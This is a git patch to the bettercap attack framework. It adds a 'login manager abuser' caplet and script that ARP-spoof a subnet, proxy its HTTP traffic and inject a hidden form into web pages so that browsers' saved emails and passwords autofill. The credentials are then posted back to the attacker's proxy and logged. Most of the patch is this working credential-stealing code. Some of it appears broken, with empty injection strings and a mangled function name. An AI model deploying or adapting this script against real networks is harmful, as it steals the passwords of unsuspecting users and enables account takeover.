From aa25dae73c27d6bc28f34dbddd530a36060db779 Mon Sep 17 00:00:00 2001 From: evilsocket Date: Mon, 8 Jan 2018 02:34:00 +0100 Subject: [PATCH] new: login manager abuser caplet and script --- caplets/login-man-abuse.cap | 13 +++ caplets/login-man-abuse.js | 102 +++++++++++++++++++++++ main.go | 8 +- session/modules/http_proxy_js_request.go | 13 ++- session/modules/http_proxy_script.go | 2 +- 5 files changed, 134 insertions(+), 4 deletions(-) create mode 100644 caplets/login-man-abuse.cap create mode 100644 caplets/login-man-abuse.js diff --git a/caplets/login-man-abuse.cap b/caplets/login-man-abuse.cap new file mode 100644 index 00000000..4638c4f3 --- /dev/null +++ b/caplets/login-man-abuse.cap @@ -0,0 +1,13 @@ +# targeting the whole subnet by default, to make it selective: +# +# sudo ./bettercap-ng -caplet caplets/login-man-abuse.cap -eval "set arp.spoof.targets 192.168.1.53" + +set http.proxy.script caplets/login-man-abuse.js +net.recon on +http.proxy on +sleep 1 +arp.spoof on + + + + diff --git a/caplets/login-man-abuse.js b/caplets/login-man-abuse.js new file mode 100644 index 00000000..56b648d0 --- /dev/null +++ b/caplets/login-man-abuse.js @@ -0,0 +1,102 @@ +/* + * Ref. + * - https://github.com/evilsocket/bettercap-proxy-modules/issues/72 + * - https://freedom-to-tinker.com/2017/12/27/no-boundaries-for-user-identities-web-trackers-exploit-browser-login-managers/ + * + * The idea: + * + * - On every html page, inject this invisible form who grabs credentials from login managers. + * - POST such credentials to /login-man-abuser, given we control the HTTP traffic, we'll intercept this request. + * - Intercept request, dump credentials, drop client to 404. + */ +var AbuserJavascript = +'var injectForm = function(visible) {' + "\n" + +' var container = document.createElement("div");' + "\n" + +' if (!visible){' + "\n" + +' container.style.display = "none";' + "\n" + +' }' + "\n" + +' var form = document.createElement("form");' + "\n" + +' form.attributes.autocomplete = "on";' + "\n" + +' var emailInput = document.createElement("input");' + "\n" + +' emailInput.attributes.vcard_name = "vCard.Email";' + "\n" + +' emailInput.id = "email";' + "\n" + +' emailInput.type = "email";' + "\n" + +' emailInput.name = "email";' + "\n" + +' form.appendChild(emailInput);' + "\n" + +' var passwordInput = document.createElement("input");' + "\n" + +' passwordInput.id = "password";' + "\n" + +' passwordInput.type = "password";' + "\n" + +' passwordInput.name = "password";' + "\n" + +' form.appendChild(passwordInput);' + "\n" + +' container.appendChild(form);' + "\n" + +' document.body.appendChild(container);' + "\n" + +'};' + "\n" + +'' + "\n" + +'var doPOST = function(data) {' + "\n" + +' var xhr = new XMLHttpRequest();' + "\n" + +'' + "\n" + +' xhr.open("POST", "/login-man-abuser");' + "\n" + +' xhr.setRequestHeader("Content-Type", "application/json");' + "\n" + +' xhr.onload = function() {' + "\n" + +' console.log("Enjoy your coffee!");' + "\n" + +' };' + "\n" + +'' + "\n" + +' xhr.send(JSON.stringify(data));' + "\n" + +'};' + "\n" + +'' + "\n" + +'var sniffInputField = function(fieldId){' + "\n" + +' var inputElement = document.getElementById(fieldId);' + "\n" + +' if (inputElement.value.length){' + "\n" + +' return {fieldId: inputElement.value};' + "\n" + +' }' + "\n" + +' window.setTimeout(sniffInputField, 200, fieldId); // wait for 200ms' + "\n" + +'};' + "\n" + +'' + "\n" + +'var sniffInputFields = function(){' + "\n" + +' var inputs = document.getElementsByTagName("input");' + "\n" + +' data = {};' + "\n" + +' for (var i = 0; i < inputs.length; i++) {' + "\n" + +' console.log("Will try to sniff element with id: " + inputs[i].id);' + "\n" + +' output = stringsniffInputField(inputs[i].id);' + "\n" + +' data = Object.assign({}, data, output);' + "\n" + +' }' + "\n" + +' doPOST(data);' + "\n" + +'};' + "\n" + +'' + "\n" + +'var sniffFormInfo = function(visible) {' + "\n" + +' injectForm(visible);' + "\n" + +' sniffInputFields();' + "\n" + +'};' + "\n" + +'' + "\n" + +'sniffFormInfo(false);'; + +// here we intercept the ajax POST request with leaked credentials. +function onRequest(req, res) { + if( req.Method == 'POST' && req.Path == "/login-man-abuser" ) { + console.log( "[LOGIN MANAGER ABUSER]", req.ReadBody() ); + // this was just a fake request we needed to exfiltrate + // credentials to us, drop the connection with an empty 200. + res.Status = 200; + res.ContentType = "text/html"; + res.Headers = "Connection: close"; + res.Body = ""; + res.Updated(); + } +} + +// inject the javascript in html pages +function onResponse(req, res) { + if( res.ContentType.indexOf('text/html') == 0 ){ + var body = res.ReadBody(); + if( body.indexOf('') != -1 ) { + res.Body = body.replace( + '', + '' + + '' + ); + res.Updated(); + } + } +} diff --git a/main.go b/main.go index 26744382..c1e23566 100644 --- a/main.go +++ b/main.go @@ -2,6 +2,7 @@ package main import ( "runtime" + "strings" "github.com/op/go-logging" @@ -35,8 +36,11 @@ func main() { defer sess.Close() if *sess.Options.Commands != "" { - if err = sess.Run(*sess.Options.Commands); err != nil { - log.Fatal(err) + for _, cmd := range strings.Split(*sess.Options.Commands, ";") { + cmd = strings.Trim(cmd, "\r\n\t ") + if err = sess.Run(cmd); err != nil { + log.Fatal(err) + } } } diff --git a/session/modules/http_proxy_js_request.go b/session/modules/http_proxy_js_request.go index 7e797227..70a0ac5a 100644 --- a/session/modules/http_proxy_js_request.go +++ b/session/modules/http_proxy_js_request.go @@ -2,6 +2,7 @@ package session_modules import ( "fmt" + "io/ioutil" "net/http" ) @@ -17,6 +18,7 @@ type JSRequest struct { Hostname string Headers []JSHeader Body string + req *http.Request } func NewJSRequest(req *http.Request) JSRequest { @@ -33,9 +35,18 @@ func NewJSRequest(req *http.Request) JSRequest { Path: req.URL.Path, Hostname: req.Host, Headers: headers, + req: req, } } func (j *JSRequest) ReadBody() string { - return "TODO: read body" + raw, err := ioutil.ReadAll(j.req.Body) + if err != nil { + log.Errorf("Could not read request body: %s", err) + return "" + } + + j.Body = string(raw) + + return j.Body } diff --git a/session/modules/http_proxy_script.go b/session/modules/http_proxy_script.go index 557d53c2..f482f874 100644 --- a/session/modules/http_proxy_script.go +++ b/session/modules/http_proxy_script.go @@ -108,7 +108,7 @@ func (s *ProxyScript) hasCallback(name string) bool { func (s *ProxyScript) doRequestDefines(req *http.Request) (err error, jsres *JSResponse) { // convert request and define empty response to be optionally filled jsreq := NewJSRequest(req) - if err = s.VM.Set("req", jsreq); err != nil { + if err = s.VM.Set("req", &jsreq); err != nil { log.Errorf("Error while defining request: %s", err) return }